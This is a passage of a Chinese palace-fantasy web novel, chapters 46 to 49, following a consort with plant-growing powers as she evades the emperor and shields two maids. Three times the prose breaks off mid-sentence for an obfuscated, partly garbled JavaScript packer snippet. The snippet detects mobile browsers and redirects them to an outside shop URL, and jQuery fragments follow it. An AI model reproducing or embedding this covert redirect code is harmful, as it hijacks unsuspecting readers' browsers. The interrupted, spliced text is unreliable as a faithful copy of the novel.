姜念虞也不在意他睡没睡着,只要他乖乖地躺在这里任她“上下其手”就行了。 当不知道给韩观做了多少次眼保健操后,姜念虞仿佛听到脑海里响起了“啵”的一声,像是彩色泡泡破裂的声音。 终于!她的异能突破了!升到了三阶! 她之前的猜测得到了证实—— 她异能晋级的关键,就是不断和新的异能血包接触,每接触到一个新的异能血包,并且与之接触的时间足够长,她的异能就能够升级! 如果说异能源种是容器,那么异能就是里头盛的水,在此之前,她的异能源种只有一个碗那么大,里头的“水”,也只够催生一颗瓜籽,一颗桃核。 但是现在,她的异能源种足有一个盆那么大!里头容纳的水是之前的数倍还多! 现在,她随手就能催生出一片果园来。 “阿幻,阿幻,醒醒——” 韩观听见了一道浑厚低沉的声音,醒了过来。 祖父弯腰站在他面前,一双眼睛里充满了激动和喜悦,还有不可置信。 “阿幻,你能听见我说话吗?” 韩观意识到,自己竟然能够听见声音了! 原来祖父的声音是这样的。 他点了点头。 宁远侯狂喜,“哈哈哈哈太好了!余姑娘当真是神医!她一出手就把你给治好了!” 笑着笑着他又哭了,对着天上说:“阿骏,你看见了吗?你的儿子,我的孙子,他好了!咱们侯府日后有指望了……” 治好病离开侯府的姜念虞,这会儿正坐在车上,磨着李玄璋:“蓁蓁,反正咱们已经出来了,不如去夜市逛一逛?我好久没去夜市吃小吃了,实在想得慌。” 一边说一边还晃着他的胳膊。 李玄璋被她晃得没辙,“好了,去就是了。” 姜念虞:“蓁蓁你真好!”一连串彩虹屁吹过去。 李玄璋揉了揉额头,有些挫败,他第一次知道,原来自己是一个耳根子这么软,这么喜欢听好话的人。 两人在夜市上吃吃喝喝时,宫里批折子到深夜,原本已经睡下的李玄璋,忽然从床上坐了起来。 “摆驾未央宫。” 想到白日里德妃施展的幻术,他怎么也琢磨不透,既然琢磨不透,那就去找她问个明白。 龙辇平稳地停在了未央宫前,宫门已经打开了——早在李淳下令摆驾未央宫时,就有人提前跑到了未央宫,通知皇上要过来了。 院子里早就跪了一片人,恭迎皇帝的驾临。 春樱和夏桃则在殿门口候着,随着皇帝的走近,两人心里都慌得不行。 因为她们发现,自家娘娘居然不在寝殿里! 两人也不敢声张,甚至不敢让其余人帮着找,因为怕被别宫派来的奸细知道了,只能私底下各处找了一遍。 却到处都不见娘娘的身影。 两人一阵绝望,这大晚上的,娘娘会跑去哪里呢? 或者说,娘娘是被什么武艺高强的歹人掳了去? 偏偏这个时候皇上过来了,待会儿皇上问起来,她们可如何作答? 然而越怕什么就越来什么,没等两人想出合理的说辞来,皇帝就问:“你们娘娘呢?怎么,朕来了她也不出来迎一迎,还在屋里睡大觉?” 一面往寝殿里走去。 平日里口齿伶俐的夏桃,这会儿急得大脑一片空白,一个字也说不出。 反倒是沉默寡言的春樱及时开口了:“还请皇上留步,娘娘白日里吃多了桃子,以至于胃胀腹泻,下午就跑了好几趟净房,方才又有些不适,这会儿恐怕不方便迎驾。” 李淳一听,步子一顿,转身在炕上坐了下来,一只胳膊搭在炕桌上,有些不耐烦地敲了敲桌子。 “德妃真是越来越不像话了,这般贪吃,吃个桃子都能吃得腹泻,不知道的还以为她从没吃过桃子。” 春樱没让皇帝的话掉在地上,顺从地说:“皇上说的是,往后奴婢等必定多多劝诫娘娘,莫要贪吃。” 李淳觉得这个宫女还算上道,又问:“她进去多久了?” 春樱:“有一盏茶(10分钟左右)功夫了。” 李淳皱了皱眉,等了一阵,还是不见德妃出来,干脆一指春樱:“你进去瞧瞧,你们娘娘莫不是栽进恭桶里了?” 春樱:“是,皇上。” 寝殿有一道侧门,从这道门进去,就是净房了,净房也有与外界联通的门廊,方便下人抬水进来,或者倒马桶。 春樱进了寝殿,假意敲了敲净房的门,“娘娘,您好了吗?” 敲门时,她心里还怀着一分奢望,没准娘娘真的在净房里呢? 然而门内毫无回应,她心里的奢望落空了。 只得假意回去,禀报皇帝:“皇上,娘娘恐怕还得一会儿才能出来,还请皇上恕罪。” 李淳霍然起身,怒声道:“德妃好大的架子,竟要朕在这里候着她出恭。” 春樱和夏桃对视一眼,都跪了下来,同时心里也松了口气,看皇上这样子,下一步就会拂袖离去了吧? 可惜两人猜错了,皇帝一怒之下,竟然不顾德妃在净房出恭,直接闯进了寝殿。 春樱和夏桃骇了一跳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403640|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急急忙追上去,想阻止却又无法阻止——她们总不能扑上去扯住皇帝的腿不让他进去吧? 就在李淳的手落到侧门,要将其推开时,侧门竟从里面打开了。 姜念虞顶着春樱和夏桃两人不可置信的眼神走了出来。 也亏得李淳是背对两人的,不然看到她们这副表情,立刻就知道有鬼了。 “嫔妾在出恭,皇上闯进来是想做什么?”姜念虞委屈又愤怒地问,端的是理直气壮。 李淳倒是被问得气短了,才要解释,目光蓦地一凝,上前两步,俯下身,从她鞋子上捏了个东西下来。 “德妃既然一直在净房,那你能否告诉朕,你鞋上的这个刺团儿,是从何而来?” 刺团儿,是一种野果的果实,上面布满了倒刺,很容易挂在衣服或鞋子上。 宫里不能说没有这种东西,但起码,不会出现在净房中。 姜念虞鞋子上能沾上刺团儿,只能说明,她方才根本就不在净房里! 姜念虞心里咯噔一下,糟了,肯定是刚才逛夜市时不小心沾上的,她匆匆赶回来,只来得及脱掉面具和衣服,却是忽略了脚上的鞋。 结果被李淳这个狗东西抓了个正着。 她面不改色,脑子疯狂运转,得想个借口把这厮糊弄过去。 李淳:“德妃怎么不说话?是在想着怎么糊弄朕吗?” 可算叫他抓住德妃的现行了! 上次她和李玄璋私自出宫,他还没找她算账呢,这一次,他定饶不了她! 就在这紧张的时刻,一道稚嫩的童音响起:“父皇,您不要怪姨母,都是晟儿的错。” 晟儿不知何时过来了,手里拿着一个巴掌大的小箱子,那是他的宝盒,里头装着他的一堆宝贝——母后给他缝的香囊,他捡来的蝉蜕,好看的石头等等。 他跑到李淳面前,打开他的小宝箱,“父皇,刺团儿是晟儿弄到姨母鞋子上的,您要罚就罚晟儿吧。” 李淳往他的小宝箱里一看,里头赫然有好几个刺团儿。 他目光一沉,“这些刺团儿你是哪里来的?” 晟儿:“周大帅从宫外带来的,分了我一些。” “周大帅”这个陌生的名字触及了李淳的知识盲区,他朝墨春看去。 墨春忙为他解惑:“皇上,周大帅是周尚书家的小孙子,名唤周文瑾,在文华阁陪小皇子们读书,他嫌弃这个名字太娘,自己给自己取了个‘大帅’的小名,说这样威风。” 李淳:“玩物丧志!传令下去,文华阁是读书的地方,以后不许将这些乱七八糟的东西带过去。” 危机就这样解除了。 姜念虞极力压抑着想要上扬的嘴角,替一帮小孩子说话:“皇上,小孩子嘛,天性爱玩,况且读书也得劳逸结合呀,闲暇时玩一玩闹一闹也有益于促进他们的身心健康,您何必这样拘着他们呢?” 李淳:“德妃,你这是在质疑朕的命令?” 姜念虞:“嫔妾不敢。” 李淳:“行了,朕要安歇了,你们都退下吧。” 姜念虞:“?”他要在她这里睡下? 李?狗?淳,你想找死啊! 47. 第47章 冷宫深处。 李玄璋坐在书案后,处理着堆积的信件。 一名暗卫打探完消息,前来禀报:“主子,皇帝在德妃处歇下了。” 李玄璋执笔的手顿了顿,“知道了。” 天已经快亮了,他索性没有入睡,来到窗前,静静看着天空。 姜念虞那边,想来已经渡过了此次危机。 原本她们在夜市逛得很开心,他突然收到飞鸽传书——皇帝驾临未央宫,他立刻带着姜念虞火速赶回宫中。 谁知她人及时赶到了,脚上不小心沾上的一颗刺团儿却差点暴露了她出宫的事实,好在晟儿出现救了场。 天边,太阳升了起来,黑暗被快速驱散,空中布满了大片火红的的朝霞。 这一晚,总算平稳过去了。 翌日。 “嫔妾恭送皇上。” 未央宫宫门口,姜念虞矮身行礼,满含怨念地看着李淳坐上轿辇。 昨晚,准确来说是凌晨,李淳在她这里歇下,霸占了她一半的床,躺在她身边,搞得她浑身不自在,恨不得一脚将他踹下去。 也不知道他抽了什么疯跑来她这里。 好在他除了睡觉之外并没有做出别的举动来,不然她不介意用拳头教他做人——异能升到三阶后,她的身体素质也跟着全面提升了,一拳一个李?狗?淳不在话下。 就在她好不容易要把自己哄睡着时,他冷不丁开口说话了,问她白天的幻术是如何施展出来的。 讲真,她当时杀人的心都有了。 但想起上次对李淳出手时遭雷劈的惨痛经历,她死死遏制住了自己。 不在沉默中爆发,就在沉默中变态。 姜念虞沉默了一会儿,凑近他,矫揉造作地夹着嗓子说:“皇上不困吗?那不如我们来做点别的?” 李淳一把将她推开,仿佛被她玷-污了一般,“朕困了,睡吧。” 转过身背对着她。 姜念虞冲着他的背张牙舞爪了一番,这才愤愤睡下。 她感觉才闭上眼睛,就被李淳这狗东西叫醒了,他竟然让她起来伺候他穿衣! 姜念虞装睡,死活不醒。 结果李淳直接上手捏住了她的鼻子,让她无法呼吸。 这还怎么睡?就是一头猪也要醒了。 姜念虞蓬头垢面地爬起来,像丧尸一样摇摇晃晃地朝他走过去,给他穿衣服。 让我伺候你穿衣是吧? 老娘勒不死你! 她故意将腰带扣得紧紧的,想让他也体验一下呼吸不畅的感觉,却没意识到自己现在的力气不是一般的大,一不小心,那条金尊玉贵的腰带就在她手里报废了。 姜念虞看着手里被她扯成两半的腰带:“……” 李淳看着她:“……” 一阵诡异的沉默。 总之,状况频出后,姜念虞到底还是将李淳收拾出个人样儿来了。 这厮意气风发地去上朝了。 姜念虞毫不犹豫转身回屋,打算睡个美美的回笼觉,下一秒戴秉承追上来,“娘娘,皇上说下朝后来陪娘娘用早膳,皇上还说,想吃娘娘亲手做的烫面饺儿。” 姜念虞:他怎么不去吃屎呢! “嫔妾知道了。” 烫面饺儿,就是蒸饺,这时代可没有什么速冻饺子,想吃一顿饺子,得从和面开始。 好不容易和好面,还得醒面,擀面,擀饺子皮儿,剁肉馅儿,包饺子…… 做个饺子,姜念虞差点没累死在膳房。 狗日的,吃吃吃,吃不死你! 她一边做一边在心里咒骂李?狗?淳。 剁馅儿时干脆将案板当成李淳的脑袋,笃笃笃剁得别提多响了,听得旁边给她打下手的春樱一阵害怕。 “娘娘,要不还是我来吧?您在旁边看着就行了,等做好了您将饺子放到锅上就成了。” 姜念虞:“不用,皇上指名要吃我做的烫面饺儿,我怎么能不如他所愿呢。” 这可是带着浓浓诅咒之力的饺子,非得她自己来不可。 假手于人的话,诅咒之力可就要散了。 不过做这顿饺子也不是一点收获也没有,起码她发现自己在厨艺上还是很有天赋的,第一次做饺子,居然就能做得有模有样了。 下朝后,李淳果然又来了未央宫,陪姜念虞一起用早膳。 说是陪她用早膳,实际上却是将她当成了侍膳宫女,不断使唤她,还嫌她不够体察上意,规矩学得不到位。 姜念虞实在忍不住了:“呵呵,皇上你这么嫌弃,也没见你少吃一口啊!一整屉烫面饺儿,你吃得一个也不剩! “还说我是猪,我看你才是猪!” “放肆!”李淳将筷子拍在桌上,殿内的宫女太监纷纷跪了下来。 姜念虞没被他给吓着,倒是被他给恶心到了,因为他刚才说话时,嘴里喷出了好些唾沫,把剩下的食物都给污染了。 待会儿她是吃还是不吃? 吃吧,膈应得慌,不吃吧,又浪费。 在姜念虞纠结时,李淳命人将苏、黄两位嬷嬷叫了过来,问责两人:“朕令你们教导德妃宫规,怎么几个月过去,德妃的规矩不进反退?” 苏嬷嬷:“是老奴教导不力,求皇上降罪。” 黄嬷嬷也是差不多的说辞。 李淳心下狐疑,他将两人叫过来,本是给她们机会,让她们趁机告德妃一状,怎么这两人反倒丝毫不说德妃的不是,只将罪责往自己身上揽? 他只能想到一个可能——这两人已经暗中投靠了德妃! 难怪他每次召她们来询问德妃的近况,她们都说德妃没什么异常,难怪德妃私自出宫她们却毫无所觉! 原来她们早就已经背叛了他,倒向了德妃那一边! 这两个背主的老东西!狗奴才! 李淳怒而起身,一脚一个,将跪在地上的苏嬷嬷和黄嬷嬷踹翻在地,“办事不力,朕要你们有何用!来呀,把她们拖下去,一人杖责五十大板!” 姜念虞吃惊地看着他,他这是又发的什么疯?就因为她规矩没学好,他就要杖杀了苏嬷嬷她们? “皇上,苏嬷嬷她们罪不至此吧?五十大板会要了她们的命的。” 李淳:“既然德妃这么舍不得两个狗奴才,那便替她们受了这五十大板,如何?” 姜念虞:“……好,嫔妾代她们受过。” 李淳:“德妃可要想好了,两人总共一百大板,你能受得了?” 姜念虞:“苏嬷嬷她们是因我受过,我总不能眼睁睁看着她们被打死。” 她有异能傍身,即便是被打一百大板,也不会死,顶多受些皮肉之苦。 但苏嬷嬷她们就不一样了,两人都这把年纪了,五十大板肯定会要了她们的命。 之前她确实想杀了她们,但那不过是气头上的想法,后面苏嬷嬷和黄嬷嬷投靠了她,尽心尽力地为她办事,她能看着她们去死吗? 苏嬷嬷两人都震惊地看着她,她们万万没想到,德妃娘娘竟肯代她们受过,那可是一百大板啊! 德妃娘娘身娇肉嫩的,哪里受得住啊! 其实她们心里一直都对德妃有怨,怨恨德妃拿她们最亲近在乎的人威胁她们,但软肋被她捏着,她们除了听话,还能怎么办呢? 而倒向德妃的那一刻,她们就已经做好了赴死的准备,毕竟墙头草两面派自古就没有好下场。 今天,这一刻终于到来了。 她们心里一直悬着的大石头,落了下来。 说实话,她们也不想死,但皇上要她们死,她们又能怎么办? 哪里能料到,德妃娘娘竟然愿意代她们受过! 她们何德何能啊! 那一刻,她们心里对德妃的怨恨统统都烟消云散了,只剩下满心的感动,以及后悔。 早知德妃娘娘是这般有担当有情义的主子,她们早早就效忠于她了。 李淳阴阳怪气道:“德妃莫不是以为朕不会真的对你动手?” 姜念虞:“嫔妾不敢。” 李淳:“好,既然德妃要代两个奴才受过,那朕就成全你!” 当真以为他会看在姜相的份上,不敢对她下手么? 姜相这个老东西,马上就要自身难保了! 姜念虞朝院中行刑的板凳走去,苏嬷嬷和黄嬷嬷一左一右扑上来抱住她的腿。 苏嬷嬷:“娘娘,万万不可啊!” 黄嬷嬷:“您金尊玉贵,何必为了老奴损伤自己的玉体?老奴不值得您这么做啊!” 黄嬷嬷说完,竟是猛地朝柱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423032|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子撞了过去,想要先一步自尽。 姜念虞一惊:“快拦住她!” 石永竹及时拖抱住了黄嬷嬷,避免了她血溅当场。 李淳脸色阴沉:“当真是主仆情深,倒衬得朕是那冷酷无情的小人了。也罢,朕就网开一面,饶你们一命,一人打二十板子便是。” 若是坚持一人打五十大板,或者让德妃受一百大板,传了出去,外头难免说他行事酷烈不近人情,于他名声不利。 苏嬷嬷和黄嬷嬷忙磕头谢恩。 李淳看了戴秉承一眼,转身离开。 戴秉承从皇帝年幼时就跟在他身边服侍,对皇帝的心思可谓是了如指掌,虽说这几个月皇上性情大变,不再耽溺于享乐,而是一心勤于政务,但正所谓江山易改本性难移,皇上本质上还是从前的那个皇上。 绝非像太后先前怀疑的那样,被恶鬼附了身。 因此皇上临走前看他的那一眼,他立刻就领会了是什么意思。 ——二十大板,听着没有五十大板那么吓人,但杖邢里头的门道可多着呢,二十大板照样能打死人! 姜念虞原本还松了口气,哪知道那板子打着打着,苏嬷嬷和黄嬷嬷就要不行了! 她忙上前,握了握两人的手,给她们输了一些异能,护住她们的心脉。 同时对她们道:“苏嬷嬷,黄嬷嬷,你们千万要坚持住啊,等熬过了这一遭,我就向皇上请命,让你们出宫颐养天年。我在京郊有个陪嫁庄子,到时候你们就去帮我看庄子,怎么样?” 苏嬷嬷脑海里浮现出小时候在田野间嬉戏玩闹的自己,那个时候她什么都不懂,但却最快乐,采到一朵野花,捡到一朵菌子都能乐个半天。 “好,到时候,老奴给娘娘,看庄子去……” 黄嬷嬷眼中也浮现出憧憬的光芒来,但因为疼痛,已说不出话来了。 二十大板打完,两人已经奄奄一息。 姜念虞忙命人将苏嬷嬷和黄嬷嬷抬回房间,暗中给她们输异能,保住了她们的命。 随后,她去了一趟保和殿,向李淳请命:“皇上,若苏嬷嬷和黄嬷嬷能够活下来,您可否恩准她们出宫颐养天年?” 戴秉承监督行刑后,就回来向皇帝复命了,因此李淳对苏嬷嬷两人的状况清楚得很,知道她们只剩下一口气,离死不远了。 所以随口应了下来:“好啊,若她们能活下来,朕不仅恩准她们出宫,还要赏她们一笔养老银子。” 左右那两个背主的狗奴才活不了,他何不将话说得好听些呢? 然而他万万没想到,她们竟然真的活了下来! 不过半个月功夫,就能下地走动了! 还来保和殿向他谢恩。 面对两人的谢恩,李淳:“……” 君无戏言,他只能捏着鼻子将先前的话兑现,恩准两人出宫,还赏了她们一笔银钱。 看着两人稳稳当当地走出去,李淳眉头皱得能夹死蚊子。 受了二十大板,还是看似轻飘飘实则要人命的二十大板,这两个老货居然能活下来?还能完好无损地来向他谢恩? 这事怎么看都透着股邪性! 紧接着他又想到了先前落水的晟儿,太医都束手无策,德妃却不知使了什么手段,竟令晟儿醒了过来,养了几天就又活蹦乱跳了。 还有那棵凭空长大的桃树…… 无相大师说德妃身具功德金光,难道是真的? 因为身具功德金光,所以她做什么都格外顺利? 偏偏她跟李玄璋是一伙的。 偏偏她是姜赦的女儿。 这便注定了她和他只能是敌对的关系。 所以,德妃不能再留了,不然李玄璋只会更难杀。 姜念虞不知道李淳又想杀她了,这会儿她正站在东华门的门楼上,目送苏嬷嬷和黄嬷嬷乘坐的马车,离开皇宫。 马车会将她们送到她在京郊的陪嫁庄子上。 分别时,她交给了两人一大包种子,这些种子都是她从菜园子里收集来的,菜园里的蔬菜都是她用异能催生出来的,结出来的种子质量远胜寻常的种子。 不仅结出来的果实味道会更好,产量也会更高。 有苏嬷嬷两人的照看,相信要不了多久,她的陪嫁庄子就会花果飘香、硕果累累了。 48. 第48章 黄瓜、丝瓜、冬瓜…… 豇豆、蚕豆、毛豆…… 苋菜、韭菜、空心菜…… 清晨,姜念虞带着阖宫上下的人在菜园子里摘菜,这样的活动每三天就会进行一次。 实在是这些菜长得太快了。 吃都吃不赢。 甜蜜的负担。 姜念虞只能尽量往别处派送一些,“老石(石永竹),这一筐送去慈宁宫,这一筐送去柔福宫,这一筐送去姜府……” 各处都送到了,唯独漏掉了皇帝的保和殿。 哼,她才不给他送菜吃呢。 除此之外,她还带人晒了干菜,做了酸菜。 饶是如此,还是剩下了一大堆,看着那堆成小山似的蔬菜瓜果,姜念虞灵机一动,“老石,你去弄几头小猪仔来,咱们用这些吃不完的菜喂猪,这样既不浪费,到年底还能吃到香喷喷的猪肉。” 她越说越觉得这个主意妙。 石永竹一脸为难:“娘娘,您种菜,还能说是怡情养性,养小猫小狗,是逗个乐子,养猪算是咋回事儿呢? “而且您不知道,那猪肉贱得很,一股子腥臊味,只有贫苦百姓才会吃,娘娘您怎么想不开要去吃那腌臜物呢?” 姜念虞:“猪肉腥臊?怎么可能?” 红烧肉、蜜汁排骨、排骨藕汤……这些可都是猪肉做的菜,都可好吃了。 石永竹:“您知道民间那猪是咋养的不?” 姜念虞摇了摇头。 石永竹:“民间养猪,是把猪圈修在茅厕下边,人在上头如厕,猪就在底下吃,这样养出来的猪,忒埋汰,您觉得那肉能吃吗?” 姜念虞:“……” 她属实没想到,古代是这样养猪的,难怪她以前看小说,说是古代大户人家嫌弃猪肉贱,都不吃猪肉。 “那是民间养猪的法子,咱们不这样养不就行了?你看,咱们这里蔬菜瓜果多得吃不完,用菜喂出来的猪,肉还会腥臊吗?而且我听说,只要把公猪骟了,那猪就能长得又快又好,肉质也不腥了。” 石永竹将信将疑,见她坚持要养猪,只好道:“宫里以前没有养猪的先例,要不您先去请示一下太后她老人家?” 姜念虞觉得他说的有道理,就带了一坛子酸菜去了慈宁宫。 太后得知她要养猪,第一反应也是不准。 姜念虞抱着她的胳膊一顿撒娇缠磨:“太后娘娘,您就让我养嘛,我保证只给它们吃干净的蔬菜瓜果,每天都让人打扫猪圈,将猪圈收拾得干干净净的,等到年底了,我分您一头大肥猪,我跟您说,猪肉做好了,可是非常美味的……” 太后到底还是被她给说动了,松了口:“好吧,那你就养吧。” 姜念虞心花怒放:“多谢太后,您真是太好了!听黄鹂姐姐说您最近头疼病犯了,我来给您按摩按摩,我按摩的手法可高明了,保证按过之后您就不疼了。” 说着就上手给太后按了起来。 太后本来不以为意,她要按就让她按吧,就当是孩子给她尽孝心了,也不指望她真的能给她按好。 谁知按了没一会儿,她竟真的感觉好多了。 原本沉重闷痛的脑袋,变得前所未有的轻松舒适! 德妃竟不是在哄她,而是真的有本事。 等姜念虞停下来时,太后已经睡着了,神色安然,嘴角还挂着一丝笑意。 黄鹂朝她做了个“嘘”的手势,示意她别说话,免得吵醒了太后。 出了寝殿,黄鹂才对她道:“多谢德妃娘娘,您不知道,太后已经好久没睡过一个好觉了。” 姜念虞心道:每天闻着毒香,时时头疼,能睡好才怪呢。 太后的头疼,并非是病理性的,而是中毒导致,那毒就下在太后每日都要用的香料里,随着香料的焚烧,持续性地挥发到空气里。 至于毒是谁下的,显而易见,除了李淳不作他想。 “黄鹂姐姐,太后寝殿里点的是什么香?” “四合香,以龙涎香、沉香、檀香、迦南香为主料,辅以数种别的香料调配而成,德妃娘娘可是觉着好闻?我做主送您一些。” 姜念虞摇了摇头,“实不相瞒,我从小鼻子就灵,那香味我闻着有些不对劲,您不妨拿去找人瞧瞧。” 目送她离开后,黄鹂回到太后的寝殿,看着博山香炉里袅袅升起的烟雾,德妃娘娘那话必然不是无的放矢,难道这香有什么问题? * 听说德妃竟然在宫里养起了猪,李淳觉得大为荒唐,古往今来,在自己宫殿里养猪的,恐怕要属她为第一人了! 他来到未央宫,恰好是饭点,赶上德妃用午膳,于是让人添了一副碗筷,也坐下来用膳。 这一次,李淳没再故意刁难姜念虞,因为这里的饭菜太好吃了,他压根儿等不及她给他夹菜,自己就刷刷伸筷子将菜往自己碗里夹了。 中间两人还因为最后一块红烧茄子而差点用筷子干起了架。 吃完饭,喝了茶,李淳只觉整个人神清气爽,于是开始找茬儿了。 “德妃,朕听说你在宫里养了猪?” 姜念虞:“皇上消息真灵通。” 李淳一拍桌子:“成何体统!古往今来有哪个妃子在自己宫里养猪的?” 姜念虞:“现在不就有了?” 李淳:“朕不许你养,你赶紧将那几头猪弄走。” 闻言,姜念虞本来是很生气的,忽然想到什么,又不气了,反倒粲然一笑,“皇上知道刚才你吃的菜,是怎么种出来的吗?” 李淳:“还能怎么种出来?左右不过是将种子撒在土里,浇水施肥令它长大。” 姜念虞露出了夸张的赞叹表情:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434722|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇上不愧是皇上,连这个都知道,那你知道施的是什么肥吗?” 这回不等李淳开口,她就好心地说出了答案:“粪肥。就是茅房里的那个——” 李淳:“住嘴!” 想到自己吃的菜竟然是那样种出来的,他胃里就一阵翻腾,一股呕意涌上喉头。 姜念虞见他要吐不吐的样子,撇了撇嘴,真是矫情。 前世你当狗的时候连掉在地上发了霉的馒头都吃,如今重生了,倒是连粪肥浇灌的菜都吃不得了? 你觉得那菜脏,我还觉得你脏呢。 姜念虞又补了一刀:“我想着,皇上连粪肥浇灌出来的菜都吃得津津有味,应该更不会介意我用蔬菜喂猪吧?” 李淳:“你方才为何不说?德妃,你故意恶心朕是吧?” 姜念虞一脸惶恐:“嫔妾岂敢?” 李淳没有错过她眼中闪过的一丝笑意:“朕看你敢得很!德妃,朕令你速速将那几头猪给处理了,否则——” 姜念虞一秒收拢了表情,“可是太后娘娘已经准了我在宫里养猪,还等着我年底送她老人家一头大肥猪呢,皇上不许我养,年底我到哪儿去弄一头猪来献给太后呀?” 李淳:“……” 又是太后! 她不是头疾发作了吗?怎么还有心思管闲事? 看来是他让人下的剂量不够。 “罢了,既然太后已经允了,朕也不好跟母后作对,只是朕得提醒你一声,德妃可千万别让你的猪跑了出来,不然阖宫上下都要被闹得不得安宁。” 姜念虞:“是,皇上放心,我的猪都可乖了,绝不会乱跑。” 李淳将手伸向一旁的墨春,墨春递过来一份折子。 “钦天监已经测算出了一个良辰吉日,朕准备将那天定为蓁蓁的出降(公主出嫁)之日,你替朕跑一趟,将这个好消息告诉他。” 姜念虞拿着折子,来到了常宁殿。 “李淳让我来告诉你出嫁的日子,我直觉他没安好心,这个日子有什么特别的吗?” 李玄璋从她手里接过折子,打开一看,神色一寒,“那天是我娘的忌日。” 姜念虞一阵反感:“他好歹毒。那到时候你怎么办?真打算出嫁吗?” 李玄璋:“嗯,出降离宫后,我在外面行事会更方便。” 姜念虞:“那以后我们见面就不方便了。” 她这话,让他有种她不舍得离开他的错觉,他心里忍不住有些高兴。 “到时我将冷宫密道的位置告诉姐姐,你想见我,随时都可以。” 姜念虞没想到他这么轻易就肯将密道位置告诉她,忙发誓般举起手指:“你放心,我绝不会告诉别人。” 李玄璋:“嗯,我相信姐姐。” “姐姐,你可知我为何要男扮女装?”他忽然说起。 49. 第49章 姜念虞:“知道啊,为了保命。 “你出生之前毛贵妃,也就是李淳他娘,宠冠后宫,不许宫里别的女人生育子嗣,一旦发现谁有身孕,就会给她喂药,而先帝也默许了她这样做。 “后来,毛贵妃和皇后(如今的太后)为各自的儿子争夺太子之位,大皇子得了风寒病死了,皇后所出的二皇子从马上摔下来成了残废,与皇位无缘,唯有毛贵妃所出的三皇子李淳活了下来,成为独苗的他被立为了太子。 “先帝害怕李淳也出意外死了,让李氏皇族血脉断绝,于是又开始宠幸别的妃嫔,而那时,楚国战败,为了求和,向大齐献上了王室公主,也就是你娘,你娘生得貌若天仙,令先帝一见钟情,很是得宠了一阵。 “但没过多久,你娘就因为私通侍卫,秽乱后宫而被打入了冷宫。当然了,这不是真的,你娘是遭人陷害了,而陷害她的人,就是毛贵妃,对不对?” 李玄璋:“不错。” 姜念虞继续道:“你娘被打入冷宫后,某一天发现自己怀孕了,她本想流产,但在收集药材给自己配置打胎药的过程中,感受到了腹中胎儿的心跳,于是她又改变了主意,想把这个孩子生下来。 “然而毛贵妃为了保证自己儿子的太子之位不被动摇,根本不容许别的妃子生下儿子,所以你娘做了两手准备,若腹中胎儿是女孩,便万事大吉,若是个男孩,她就不得不为其掩盖性别,否则孩子生下来也是个死。 “你娘擅长蛊术,于是在怀孕期间养了一只阴阳蛊,可逆转阴阳,改变胎儿的性别。生下孩子后,你娘发现是个男孩儿,便给当时刚出生的你种下了阴阳蛊,逆转了你的性别。 “毛贵妃见你娘生的是个女儿,便没有在意。但她还是嫉恨你娘之前夺走了她的宠爱,所以授意冷宫的宫女太监刁难折磨你们‘母女’,让你们过得很苦。” 听到这里李玄璋竟然笑了笑:“其实也算不得苦,我娘擅长蛊术,养了不少蛊虫傍身,那些宫女太监并不能真的伤害我们,真正的苦,是从我娘去世之后开始的。” 那个时候他才九岁,陡然变成了一个没娘的孩子,从此只能依靠自己,在这冷漠深宫中求生。 姜念虞递了颗桂花酥糖过去,“这个糖很好吃,咬一口,酥得掉渣,你尝尝。” 美食最能抚慰人心,她不会安慰人,所以就将自己喜欢吃的东西分享出去。 他吃了之后,心情应该能变好一些吧? 李玄璋接过来,剥去外面的牛皮糖纸,将糖送进嘴里。 果然很好吃。 “我娘死的那天,天上暴雨倾盆,电闪雷鸣,冷宫里那棵桃花树,就是在那一晚被雷劈死的。” 姜念虞握住了他的手,“现在那棵桃花树已经活过来了,虽然又被李淳这狗东西给砍了,但是它的根还在,之前我看过了,树桩子上已经长出了一圈嫩芽,那些嫩芽迟早会长成大树的。” 李玄璋:“恐怕不行。” 姜念虞:“为什么?” 李玄璋:“月奴喜欢在那个树桩子上睡觉,还喜欢啃咬上面的嫩叶,被它摧残过后,新芽明显长得慢了。” 姜念虞扑哧一笑,“也不能怪它。” 桃花树新长出来的嫩芽,或多或少都蕴含着一点木系异能,月奴是猫,难免会想要将蕴含异能的嫩芽吃下去。 想到什么,她八卦地问:“你出生时既然被种下了阴阳蛊,改变了性别,那后来又是怎么恢复的呢?” 这个书里没提,她看书时就很疑惑。 李玄璋:“……阴阳蛊自然是有解药的,每月服用一次解药,连续服上九年,便能彻底解蛊。” 姜念虞:“原来如此,要一直服用九年,时间跨度好长啊,要是中途中断了呢?” 李玄璋摇了摇头:“未曾中断过,因为我出生后,我娘每个月都会及时给我服下解药,直到我九岁那年,彻底解除蛊毒。” 